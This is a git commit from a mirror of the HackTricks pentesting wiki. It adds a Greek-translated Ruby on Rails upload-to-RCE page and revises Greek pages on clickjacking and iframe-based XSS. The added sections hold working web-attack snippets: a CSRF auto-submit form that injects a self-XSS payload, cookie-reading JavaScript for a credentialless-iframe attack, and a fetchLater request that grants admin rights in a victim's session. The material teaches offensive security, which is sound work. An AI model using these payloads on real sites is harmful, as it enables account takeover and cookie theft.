mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
ae6be17483
commit
06ef8331a6
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
||||
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ανεβάζοντας αρχεία για RCE
|
||||
|
||||
Όπως εξηγείται σε [αυτό το άρθρο](https://www.offsec.com/blog/cve-2024-46986/), η ανέβασμα ενός αρχείου `.rb` σε ευαίσθητους καταλόγους όπως το `config/initializers/` μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα (RCE) σε εφαρμογές Ruby on Rails.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -34,7 +34,7 @@ z-index: 1;
|
||||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Πολυβήματη Φορτωτική
|
||||
### Πολυδιάστατο Payload
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
@ -92,7 +92,7 @@ background: #F00;
|
||||
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από τον χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
|
||||
Παράδειγμα:\
|
||||
Βρήκατε μια **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ορίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταβάλλοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
|
||||
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταλαμβάνοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
@ -103,7 +103,7 @@ background: #F00;
|
||||
Ένα παράδειγμα κώδικα μπορεί να βρεθεί [σε αυτή τη σελίδα](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η τεχνική επιτρέπει να παραπλανηθεί ο χρήστης να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Έτσι, ο επιτιθέμενος πρέπει να βρει **ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως τα prompts OAuth που αποδέχονται άδειες**.
|
||||
> Αυτή η τεχνική επιτρέπει να παραπλανηθεί ο χρήστης να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Έτσι, ο επιτιθέμενος πρέπει να βρει **ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως οι προτροπές OAuth που αποδέχονται άδειες**.
|
||||
|
||||
## Strategies to Mitigate Clickjacking
|
||||
|
||||
@ -132,16 +132,16 @@ The `allow-forms` και `allow-scripts` τιμές επιτρέπουν ενέ
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
Η **`X-Frame-Options` HTTP response header** ενημερώνει τους προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
|
||||
Η **`X-Frame-Options` HTTP απάντηση κεφαλίδας** ενημερώνει τα προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
|
||||
|
||||
- `X-Frame-Options: deny` - Κανένα domain δεν μπορεί να πλαισιώσει το περιεχόμενο.
|
||||
- `X-Frame-Options: sameorigin` - Μόνο η τρέχουσα ιστοσελίδα μπορεί να πλαισιώσει το περιεχόμενο.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η καθορισμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
|
||||
- Σημειώστε τους περιορισμούς: αν ο περιηγητής δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένοι περιηγητές προτιμούν την οδηγία CSP frame-ancestors.
|
||||
- Σημειώστε τους περιορισμούς: αν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία CSP frame-ancestors.
|
||||
|
||||
#### Οδηγία frame-ancestors της Πολιτικής Ασφαλείας Περιεχομένου (CSP)
|
||||
|
||||
Η **`frame-ancestors` οδηγία στην CSP** είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
|
||||
Η **οδηγία `frame-ancestors` στην CSP** είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
|
||||
|
||||
- `frame-ancestors 'none'` - Παρόμοιο με `X-Frame-Options: deny`.
|
||||
- `frame-ancestors 'self'` - Παρόμοιο με `X-Frame-Options: sameorigin`.
|
||||
@ -155,7 +155,7 @@ The `allow-forms` και `allow-scripts` τιμές επιτρέπουν ενέ
|
||||
|
||||
### Πολιτική Ασφαλείας Περιεχομένου (CSP) με `child-src` και `frame-src`
|
||||
|
||||
Η **Πολιτική Ασφαλείας Περιεχομένου (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει ο περιηγητής να φορτώσουν περιεχόμενο.
|
||||
Η **Πολιτική Ασφαλείας Περιεχομένου (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει το πρόγραμμα περιήγησης να φορτώσει περιεχόμενο.
|
||||
|
||||
#### Οδηγία `frame-src`
|
||||
|
||||
@ -169,7 +169,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
#### `child-src` Directive
|
||||
|
||||
- Εισήχθη στο επίπεδο 2 του CSP για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
|
||||
- Λειτουργεί ως εναλλακτική για το frame-src και το worker-src.
|
||||
- Λειτουργεί ως εναλλακτική για το frame-src και worker-src.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
@ -183,7 +183,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
#### Σενάρια JavaScript για Σπάσιμο Πλαισίων
|
||||
|
||||
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
|
||||
Αν και δεν είναι εντελώς αλάνθαστα, τα σενάρια σπάσιμου πλαισίου που βασίζονται σε JavaScript μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
|
||||
@ -45,16 +45,16 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το `python3 -m http.server`) θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
|
||||
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το `python3 -m http.server`), θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
|
||||
Σημειώστε πώς το if4 θεωρείται ότι έχει `null` προέλευση.
|
||||
|
||||
### Iframes με CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Παρακαλώ, σημειώστε πώς στις παρακάτω παρακάμψεις η απάντηση στη σελίδα που είναι ενσωματωμένη σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.
|
||||
|
||||
Η τιμή `self` του `script-src` δεν θα επιτρέψει την εκτέλεση του JS κώδικα χρησιμοποιώντας το πρωτόκολλο `data:` ή το χαρακτηριστικό `srcdoc`.\
|
||||
Ωστόσο, ακόμη και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολόκληρη ή απλώς τη διαδρομή) στο χαρακτηριστικό `src`.\
|
||||
Ωστόσο, ακόμη και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολοκληρωμένη ή απλώς τη διαδρομή) στο χαρακτηριστικό `src`.\
|
||||
Επομένως, είναι δυνατόν να παρακαμφθεί το CSP μιας σελίδας με:
|
||||
```html
|
||||
<html>
|
||||
@ -76,14 +76,14 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script**.\
|
||||
Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται, αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο μυστικό του γονέα**.
|
||||
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\
|
||||
Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται, αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο γονικό μυστικό**.
|
||||
|
||||
.png>)
|
||||
|
||||
Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**.
|
||||
|
||||
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου κλέβεται ένα cookie ακόμη και με `script-src 'none'`. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
|
||||
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλά εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -117,23 +117,70 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```
|
||||
### Iframe sandbox
|
||||
|
||||
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του `sandbox` attribute. Από προεπιλογή, αυτό το attribute δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
|
||||
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού `sandbox`. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
|
||||
|
||||
Όταν χρησιμοποιείται, το `sandbox` attribute επιβάλλει αρκετούς περιορισμούς:
|
||||
Όταν χρησιμοποιείται, το χαρακτηριστικό `sandbox` επιβάλλει αρκετούς περιορισμούς:
|
||||
|
||||
- Το περιεχόμενο αντιμετωπίζεται σαν να προέρχεται από μια μοναδική πηγή.
|
||||
- Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
|
||||
- Η εκτέλεση σεναρίων απαγορεύεται.
|
||||
- Η πρόσβαση σε ορισμένα APIs είναι απενεργοποιημένη.
|
||||
- Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
|
||||
- Η χρήση plugins μέσω των `<embed>`, `<object>`, `<applet>` ή παρόμοιων ετικετών απαγορεύεται.
|
||||
- Η χρήση plugins μέσω των `<embed>`, `<object>`, `<applet>`, ή παρόμοιων ετικετών απαγορεύεται.
|
||||
- Η πλοήγηση του περιεχομένου στο ανώτατο επίπεδο περιβάλλοντος περιήγησης από το ίδιο το περιεχόμενο αποτρέπεται.
|
||||
- Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φορμών, αποκλείονται.
|
||||
|
||||
Η τιμή του attribute μπορεί να αφεθεί κενή (`sandbox=""`) για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που εξαιρούν το iframe από ορισμένους περιορισμούς.
|
||||
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (`sandbox=""`) για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που απαλλάσσουν το iframe από ορισμένους περιορισμούς.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Όπως εξηγείται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), η σημαία `credentialless` σε ένα iframe χρησιμοποιείται για να φορτώσει μια σελίδα μέσα σε ένα iframe χωρίς να στείλει διαπιστευτήρια στην αίτηση, διατηρώντας την πολιτική ίδιων προελεύσεων (SOP) της φορτωμένης σελίδας στο iframe.
|
||||
|
||||
Αυτό επιτρέπει στο iframe να έχει πρόσβαση σε ευαίσθητες πληροφορίες από ένα άλλο iframe στην ίδια SOP που έχει φορτωθεί στη γονική σελίδα:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Παράδειγμα εκμετάλλευσης: Self-XSS + CSRF
|
||||
|
||||
Σε αυτή την επίθεση, ο επιτιθέμενος προετοιμάζει μια κακόβουλη ιστοσελίδα με 2 iframes:
|
||||
|
||||
- Ένα iframe που φορτώνει τη σελίδα του θύματος με τη σημαία `credentialless` με ένα CSRF που ενεργοποιεί ένα XSS (Φανταστείτε ένα Self-XSS στο όνομα χρήστη του χρήστη):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Ένα άλλο iframe που στην πραγματικότητα έχει τον χρήστη συνδεδεμένο (χωρίς τη σημαία `credentialless`).
|
||||
|
||||
Έτσι, από το XSS είναι δυνατή η πρόσβαση στο άλλο iframe καθώς έχουν την ίδια SOP και η κλοπή του cookie για παράδειγμα εκτελώντας:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Όπως αναφέρεται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), το API `fetchLater` επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμιστεί ένα αίτημα `fetchLater` (για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα `fetchLater` θα εκτελεστεί, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
|
||||
|
||||
Με αυτόν τον τρόπο, ακόμη και αν η διεύθυνση URL του θύματος δεν μπορεί να φορτωθεί σε ένα iframe (λόγω CSP ή άλλων περιορισμών), ο επιτιθέμενος μπορεί να εκτελέσει ένα αίτημα στη συνεδρία του θύματος.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes στο SOP
|
||||
|
||||
Ελέγξτε τις παρακάτω σελίδες:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user